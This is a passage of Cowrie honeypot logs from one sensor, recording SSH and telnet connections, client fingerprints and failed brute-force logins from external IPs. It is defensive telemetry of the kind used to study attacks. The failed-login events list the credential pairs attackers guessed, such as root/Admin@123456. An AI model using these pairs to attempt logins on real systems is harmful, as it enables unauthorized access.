{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:29:28.536437Z","src_ip":"159.223.45.177","session":"cc86025c8a9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:29:33.479829Z","src_ip":"122.168.114.167","session":"19ccbc19f432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.6","message":"Connection lost after 16.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:29:37.207438Z","src_ip":"122.168.114.167","session":"19ccbc19f432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43894,"dst_ip":"159.203.135.109","dst_port":22,"session":"a94311b38d40","protocol":"ssh","message":"New connection: 159.203.92.129:43894 (159.203.135.109:22) [session: a94311b38d40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:29:41.266988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:29:41.271762Z","src_ip":"159.203.92.129","session":"a94311b38d40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:29:41.275996Z","src_ip":"159.203.92.129","session":"a94311b38d40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ass-user","password":"ass-user123","message":"login attempt [ass-user/ass-user123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:29:41.286877Z","src_ip":"159.203.92.129","session":"a94311b38d40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:29:42.292231Z","src_ip":"159.203.92.129","session":"a94311b38d40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":57964,"dst_ip":"159.203.135.109","dst_port":22,"session":"a54f3261cb1a","protocol":"ssh","message":"New connection: 122.168.114.167:57964 (159.203.135.109:22) [session: a54f3261cb1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:29:58.285869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:01.385360Z","src_ip":"122.168.114.167","session":"a54f3261cb1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:01.389645Z","src_ip":"122.168.114.167","session":"a54f3261cb1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.1.184.33","src_port":51415,"dst_ip":"10.17.0.5","dst_port":23,"session":"37a3abe17bfe","protocol":"telnet","message":"New connection: 103.1.184.33:51415 (10.17.0.5:23) [session: 37a3abe17bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:03.713010Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":58600,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6565c1e75e5","protocol":"ssh","message":"New connection: 202.4.106.201:58600 (159.203.135.109:22) [session: a6565c1e75e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:16.502552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:16.510297Z","src_ip":"202.4.106.201","session":"a6565c1e75e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:16.662664Z","src_ip":"122.168.114.167","session":"a54f3261cb1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:16.788201Z","src_ip":"202.4.106.201","session":"a6565c1e75e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.1.184.33","src_port":51473,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a5ea861cd6e","protocol":"telnet","message":"New connection: 103.1.184.33:51473 (10.17.0.5:23) [session: 2a5ea861cd6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:16.944653Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd3","message":"login attempt [ubuntu/P@ssw0rd3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:17.915401Z","src_ip":"202.4.106.201","session":"a6565c1e75e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:19.191069Z","src_ip":"202.4.106.201","session":"a6565c1e75e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.9","message":"Connection lost after 23.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:22.190867Z","src_ip":"122.168.114.167","session":"a54f3261cb1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":52548,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba4899033072","protocol":"ssh","message":"New connection: 103.182.132.154:52548 (159.203.135.109:22) [session: ba4899033072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:23.770513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:23.775836Z","src_ip":"103.182.132.154","session":"ba4899033072","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:23.989989Z","src_ip":"103.182.132.154","session":"ba4899033072","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@12345","message":"login attempt [user/user@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:24.881958Z","src_ip":"103.182.132.154","session":"ba4899033072","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:26.100523Z","src_ip":"103.182.132.154","session":"ba4899033072","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34362,"dst_ip":"159.203.135.109","dst_port":22,"session":"7eb2dcd0eee4","protocol":"ssh","message":"New connection: 159.203.92.129:34362 (159.203.135.109:22) [session: 7eb2dcd0eee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:27.377898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:27.383853Z","src_ip":"159.203.92.129","session":"7eb2dcd0eee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:27.389756Z","src_ip":"159.203.92.129","session":"7eb2dcd0eee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asta","password":"123456","message":"login attempt [asta/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:27.401851Z","src_ip":"159.203.92.129","session":"7eb2dcd0eee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:28.408906Z","src_ip":"159.203.92.129","session":"7eb2dcd0eee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.79936170578003,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:36.512235Z","src_ip":"103.1.184.33","session":"37a3abe17bfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":60368,"dst_ip":"159.203.135.109","dst_port":22,"session":"03fb7fc1e48e","protocol":"ssh","message":"New connection: 122.168.114.167:60368 (159.203.135.109:22) [session: 03fb7fc1e48e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:38.360294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:42.495644Z","src_ip":"122.168.114.167","session":"03fb7fc1e48e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:42.499488Z","src_ip":"122.168.114.167","session":"03fb7fc1e48e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.032105922698975,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:30:49.976656Z","src_ip":"103.1.184.33","session":"2a5ea861cd6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"106.216.121.13","src_port":29330,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d0d233a514f","protocol":"telnet","message":"New connection: 106.216.121.13:29330 (159.203.135.109:23) [session: 1d0d233a514f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:02.149959Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:03.789767Z","src_ip":"122.168.114.167","session":"03fb7fc1e48e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42018,"dst_ip":"159.203.135.109","dst_port":22,"session":"bde5526d6bf9","protocol":"ssh","message":"New connection: 159.203.92.129:42018 (159.203.135.109:22) [session: bde5526d6bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:09.882099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:09.887225Z","src_ip":"159.203.92.129","session":"bde5526d6bf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:09.893975Z","src_ip":"159.203.92.129","session":"bde5526d6bf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asta","password":"7890uiop","message":"login attempt [asta/7890uiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:09.905448Z","src_ip":"159.203.92.129","session":"bde5526d6bf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.6","message":"Connection lost after 31.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:09.937168Z","src_ip":"122.168.114.167","session":"03fb7fc1e48e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:10.913023Z","src_ip":"159.203.92.129","session":"bde5526d6bf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.7725510597229,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:14.922357Z","src_ip":"106.216.121.13","session":"1d0d233a514f","protocol":"telnet"}
